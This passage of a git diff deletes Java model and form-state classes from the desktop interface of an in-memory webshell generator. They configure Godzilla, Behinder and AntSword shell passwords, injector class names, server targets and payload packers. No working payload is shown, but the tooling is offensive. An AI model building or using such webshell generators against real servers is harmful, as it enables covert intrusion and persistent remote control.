state.setUrlPattern("");
|
||||
state.setShellClassName("");
|
||||
state.setInjectorClassName("");
|
||||
|
||||
if (ShellTool.Command.equals(value)) {
|
||||
state.setCommandParamName("");
|
||||
state.setImplementationClass("");
|
||||
state.setEncryptor("");
|
||||
} else if (ShellTool.Godzilla.equals(value)) {
|
||||
state.setGodzillaKey("");
|
||||
state.setGodzillaPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Behinder.equals(value)) {
|
||||
state.setBehinderPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Suo5.equals(value) || ShellTool.Suo5v2.equals(value)) {
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.AntSword.equals(value)) {
|
||||
state.setAntSwordPass("");
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.NeoreGeorg.equals(value)) {
|
||||
state.setHeaderName("Referer");
|
||||
state.setHeaderValue("");
|
||||
} else if (ShellTool.Custom.equals(value)) {
|
||||
state.setShellClassBase64("");
|
||||
} else if (ShellTool.Proxy.equals(value)) {
|
||||
state.setHeaderName("User-Agent");
|
||||
state.setHeaderValue("");
|
||||
}
|
||||
|
||||
state.setShellTool(value);
|
||||
ensureShellTypeValidForCurrentTool();
|
||||
}
|
||||
|
||||
private void reconcilePackerSelection() {
|
||||
List<PackerEntryModel> filtered = getFilteredPackers();
|
||||
if (filtered.isEmpty()) {
|
||||
state.setPackingMethod("");
|
||||
state.getPackerCustomConfig().clear();
|
||||
return;
|
||||
}
|
||||
boolean exists = filtered.stream().anyMatch(p -> p.getName().equals(state.getPackingMethod()));
|
||||
if (!exists) {
|
||||
state.setPackingMethod(filtered.get(0).getName());
|
||||
resetPackerCustomConfigToDefaults();
|
||||
} else if (state.getPackerCustomConfig().isEmpty()) {
|
||||
resetPackerCustomConfigToDefaults();
|
||||
}
|
||||
}
|
||||
|
||||
private void resetPackerCustomConfigToDefaults() {
|
||||
state.getPackerCustomConfig().clear();
|
||||
PackerEntryModel selected = getSelectedPackerEntry();
|
||||
if (selected != null) {
|
||||
state.getPackerCustomConfig().putAll(selected.getDefaultConfig());
|
||||
}
|
||||
}
|
||||
|
||||
private void autoDisableRandomIfManualNames() {
|
||||
if (state.isRandomClassName() && (!state.getShellClassName().trim().isEmpty() || !state.getInjectorClassName().trim().isEmpty())) {
|
||||
state.setRandomClassName(false);
|
||||
}
|
||||
if (!state.isRandomClassName()) {
|
||||
state.setSavedShellClassName(state.getShellClassName());
|
||||
state.setSavedInjectorClassName(state.getInjectorClassName());
|
||||
}
|
||||
}
|
||||
|
||||
private int parseInt(String v, int d) {
|
||||
try {
|
||||
return Integer.parseInt(v);
|
||||
} catch (Exception e) {
|
||||
return d;
|
||||
}
|
||||
}
|
||||
}
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
|
||||
public class DesktopMemShellGenerateResult {
|
||||
private final MemShellResult memShellResult;
|
||||
private final String packMethod;
|
||||
private final String packResult;
|
||||
private final boolean jarOutput;
|
||||
private final boolean agentOutput;
|
||||
|
||||
public DesktopMemShellGenerateResult(MemShellResult memShellResult, String packMethod, String packResult) {
|
||||
this.memShellResult = memShellResult;
|
||||
this.packMethod = packMethod;
|
||||
this.packResult = packResult;
|
||||
this.jarOutput = packMethod != null && packMethod.endsWith("Jar");
|
||||
this.agentOutput = packMethod != null && packMethod.startsWith("Agent");
|
||||
}
|
||||
|
||||
public MemShellResult getMemShellResult() { return memShellResult; }
|
||||
public String getPackMethod() { return packMethod; }
|
||||
public String getPackResult() { return packResult; }
|
||||
public boolean isJarOutput() { return jarOutput; }
|
||||
public boolean isAgentOutput() { return agentOutput; }
|
||||
}
|
||||
-145
@@ -1,145 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class MemShellFormState {
|
||||
private String server = "Tomcat";
|
||||
private String serverVersion = "Unknown";
|
||||
private String targetJdkVersion = "50";
|
||||
private boolean debug;
|
||||
private boolean byPassJavaModule;
|
||||
private boolean probe;
|
||||
private boolean lambdaSuffix;
|
||||
private boolean shrink = true;
|
||||
private boolean staticInitialize = true;
|
||||
|
||||
private String shellTool = "Godzilla";
|
||||
private String shellType = "Listener";
|
||||
private String urlPattern = "/*";
|
||||
|
||||
private String shellClassName = "";
|
||||
private String injectorClassName = "";
|
||||
|
||||
private String godzillaPass = "";
|
||||
private String godzillaKey = "";
|
||||
private String behinderPass = "";
|
||||
private String antSwordPass = "";
|
||||
private String commandParamName = "";
|
||||
private String commandTemplate = "";
|
||||
private String headerName = "User-Agent";
|
||||
private String headerValue = "";
|
||||
private String shellClassBase64 = "";
|
||||
private String encryptor = "";
|
||||
private String implementationClass = "";
|
||||
|
||||
private String packingMethod = "";
|
||||
private final Map<String, Object> packerCustomConfig = new LinkedHashMap<>();
|
||||
|
||||
private boolean randomClassName = true;
|
||||
private String customInputMode = "base64";
|
||||
|
||||
private String savedShellClassName = "";
|
||||
private String savedInjectorClassName = "";
|
||||
|
||||
public MemShellFormState copy() {
|
||||
MemShellFormState c = new MemShellFormState();
|
||||
c.server = server;
|
||||
c.serverVersion = serverVersion;
|
||||
c.targetJdkVersion = targetJdkVersion;
|
||||
c.debug = debug;
|
||||
c.byPassJavaModule = byPassJavaModule;
|
||||
c.probe = probe;
|
||||
c.lambdaSuffix = lambdaSuffix;
|
||||
c.shrink = shrink;
|
||||
c.staticInitialize = staticInitialize;
|
||||
c.shellTool = shellTool;
|
||||
c.shellType = shellType;
|
||||
c.urlPattern = urlPattern;
|
||||
c.shellClassName = shellClassName;
|
||||
c.injectorClassName = injectorClassName;
|
||||
c.godzillaPass = godzillaPass;
|
||||
c.godzillaKey = godzillaKey;
|
||||
c.behinderPass = behinderPass;
|
||||
c.antSwordPass = antSwordPass;
|
||||
c.commandParamName = commandParamName;
|
||||
c.commandTemplate = commandTemplate;
|
||||
c.headerName = headerName;
|
||||
c.headerValue = headerValue;
|
||||
c.shellClassBase64 = shellClassBase64;
|
||||
c.encryptor = encryptor;
|
||||
c.implementationClass = implementationClass;
|
||||
c.packingMethod = packingMethod;
|
||||
c.packerCustomConfig.putAll(packerCustomConfig);
|
||||
c.randomClassName = randomClassName;
|
||||
c.customInputMode = customInputMode;
|
||||
c.savedShellClassName = savedShellClassName;
|
||||
c.savedInjectorClassName = savedInjectorClassName;
|
||||
return c;
|
||||
}
|
||||
|
||||
public Map<String, Object> getPackerCustomConfig() { return packerCustomConfig; }
|
||||
|
||||
public String getServer() { return server; }
|
||||
public void setServer(String server) { this.server = server; }
|
||||
public String getServerVersion() { return serverVersion; }
|
||||
public void setServerVersion(String serverVersion) { this.serverVersion = serverVersion; }
|
||||
public String getTargetJdkVersion() { return targetJdkVersion; }
|
||||
public void setTargetJdkVersion(String targetJdkVersion) { this.targetJdkVersion = targetJdkVersion; }
|
||||
public boolean isDebug() { return debug; }
|
||||
public void setDebug(boolean debug) { this.debug = debug; }
|
||||
public boolean isByPassJavaModule() { return byPassJavaModule; }
|
||||
public void setByPassJavaModule(boolean byPassJavaModule) { this.byPassJavaModule = byPassJavaModule; }
|
||||
public boolean isProbe() { return probe; }
|
||||
public void setProbe(boolean probe) { this.probe = probe; }
|
||||
public boolean isLambdaSuffix() { return lambdaSuffix; }
|
||||
public void setLambdaSuffix(boolean lambdaSuffix) { this.lambdaSuffix = lambdaSuffix; }
|
||||
public boolean isShrink() { return shrink; }
|
||||
public void setShrink(boolean shrink) { this.shrink = shrink; }
|
||||
public boolean isStaticInitialize() { return staticInitialize; }
|
||||
public void setStaticInitialize(boolean staticInitialize) { this.staticInitialize = staticInitialize; }
|
||||
public String getShellTool() { return shellTool; }
|
||||
public void setShellTool(String shellTool) { this.shellTool = shellTool; }
|
||||
public String getShellType() { return shellType; }
|
||||
public void setShellType(String shellType) { this.shellType = shellType; }
|
||||
public String getUrlPattern() { return urlPattern; }
|
||||
public void setUrlPattern(String urlPattern) { this.urlPattern = urlPattern; }
|
||||
public String getShellClassName() { return shellClassName; }
|
||||
public void setShellClassName(String shellClassName) { this.shellClassName = shellClassName == null ? "" : shellClassName; }
|
||||
public String getInjectorClassName() { return injectorClassName; }
|
||||
public void setInjectorClassName(String injectorClassName) { this.injectorClassName = injectorClassName == null ? "" : injectorClassName; }
|
||||
public String getGodzillaPass() { return godzillaPass; }
|
||||
public void setGodzillaPass(String godzillaPass) { this.godzillaPass = nv(godzillaPass); }
|
||||
public String getGodzillaKey() { return godzillaKey; }
|
||||
public void setGodzillaKey(String godzillaKey) { this.godzillaKey = nv(godzillaKey); }
|
||||
public String getBehinderPass() { return behinderPass; }
|
||||
public void setBehinderPass(String behinderPass) { this.behinderPass = nv(behinderPass); }
|
||||
public String getAntSwordPass() { return antSwordPass; }
|
||||
public void setAntSwordPass(String antSwordPass) { this.antSwordPass = nv(antSwordPass); }
|
||||
public String getCommandParamName() { return commandParamName; }
|
||||
public void setCommandParamName(String commandParamName) { this.commandParamName = nv(commandParamName); }
|
||||
public String getCommandTemplate() { return commandTemplate; }
|
||||
public void setCommandTemplate(String commandTemplate) { this.commandTemplate = nv(commandTemplate); }
|
||||
public String getHeaderName() { return headerName; }
|
||||
public void setHeaderName(String headerName) { this.headerName = nv(headerName); }
|
||||
public String getHeaderValue() { return headerValue; }
|
||||
public void setHeaderValue(String headerValue) { this.headerValue = nv(headerValue); }
|
||||
public String getShellClassBase64() { return shellClassBase64; }
|
||||
public void setShellClassBase64(String shellClassBase64) { this.shellClassBase64 = nv(shellClassBase64); }
|
||||
public String getEncryptor() { return encryptor; }
|
||||
public void setEncryptor(String encryptor) { this.encryptor = nv(encryptor); }
|
||||
public String getImplementationClass() { return implementationClass; }
|
||||
public void setImplementationClass(String implementationClass) { this.implementationClass = nv(implementationClass); }
|
||||
public String getPackingMethod() { return packingMethod; }
|
||||
public void setPackingMethod(String packingMethod) { this.packingMethod = nv(packingMethod); }
|
||||
public boolean isRandomClassName() { return randomClassName; }
|
||||
public void setRandomClassName(boolean randomClassName) { this.randomClassName = randomClassName; }
|
||||
public String getCustomInputMode() { return customInputMode; }
|
||||
public void setCustomInputMode(String customInputMode) { this.customInputMode = nv(customInputMode); }
|
||||
public String getSavedShellClassName() { return savedShellClassName; }
|
||||
public void setSavedShellClassName(String savedShellClassName) { this.savedShellClassName = nv(savedShellClassName); }
|
||||
public String getSavedInjectorClassName() { return savedInjectorClassName; }
|
||||
public void setSavedInjectorClassName(String savedInjectorClassName) { this.savedInjectorClassName = nv(savedInjectorClassName); }
|
||||
|
||||
private static String nv(String v) { return v == null ? "" : v; }
|
||||
}
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class PackerCategoryModel {
|
||||
private String name;
|
||||
private final List<PackerEntryModel> packers = new ArrayList<>();
|
||||
|
||||
public PackerCategoryModel() {}
|
||||
public PackerCategoryModel(String name) { this.name = name; }
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
public List<PackerEntryModel> getPackers() { return packers; }
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class PackerEntryModel {
|
||||
private String categoryName;
|
||||
private String name;
|
||||
private String outputKind;
|
||||
private boolean categoryAnchor;
|
||||
private final List<PackerSchemaFieldModel> fields = new ArrayList<>();
|
||||
private final Map<String, Object> defaultConfig = new LinkedHashMap<>();
|
||||
|
||||
public String getCategoryName() { return categoryName; }
|
||||
public void setCategoryName(String categoryName) { this.categoryName = categoryName; }
|
||||
public String getName() { return name; }
|
||||
public void setName(String name) { this.name = name; }
|
||||
public String getOutputKind() { return outputKind; }
|
||||
public void setOutputKind(String outputKind) { this.outputKind = outputKind; }
|
||||
public boolean isCategoryAnchor() { return categoryAnchor; }
|
||||
public void setCategoryAnchor(boolean categoryAnchor) { this.categoryAnchor = categoryAnchor; }
|
||||
public List<PackerSchemaFieldModel> getFields() { return fields; }
|
||||
public Map<String, Object> getDefaultConfig() { return defaultConfig; }
|
||||
|
||||
public String displayLabel() {
|
||||
return categoryName == null || categoryName.equals(name) ? name : categoryName + " / " + name;
|
||||
}
|
||||
}
|
||||
-43
@@ -1,43 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.model;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class PackerSchemaFieldModel {
|
||||
public static class Option {
|
||||
private String value;
|
||||
private String label;
|
||||
|
||||
public Option() {}
|
||||
public Option(String value, String label) {
|
||||
this.value = value;
|
||||
this.label = label;
|
||||
}
|
||||
public String getValue() { return value; }
|
||||
public void setValue(String value) { this.value = value; }
|
||||
public String getLabel() { return label; }
|
||||
public void setLabel(String label) { this.label = label; }
|
||||
}
|
||||
|
||||
private String key;
|
||||
private String type;
|
||||
private boolean required;
|
||||
private Object defaultValue;
|
||||
private String description;
|
||||
private String descriptionI18nKey;
|
||||
private final List<Option> options = new ArrayList<>();
|
||||
|
||||
public String getKey() { return key; }
|
||||
public void setKey(String key) { this.key = key; }
|
||||
public String getType() { return type; }
|
||||
public void setType(String type) { this.type = type; }
|
||||
public boolean isRequired() { return required; }
|
||||
public void setRequired(boolean required) { this.required = required; }
|
||||
public Object getDefaultValue() { return defaultValue; }
|
||||
public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
|
||||
public String getDescription() { return description; }
|
||||
public void setDescription(String description) { this.description = description; }
|
||||
public String getDescriptionI18nKey() { return descriptionI18nKey; }
|
||||
public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
|
||||
public List<Option> getOptions() { return options; }
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user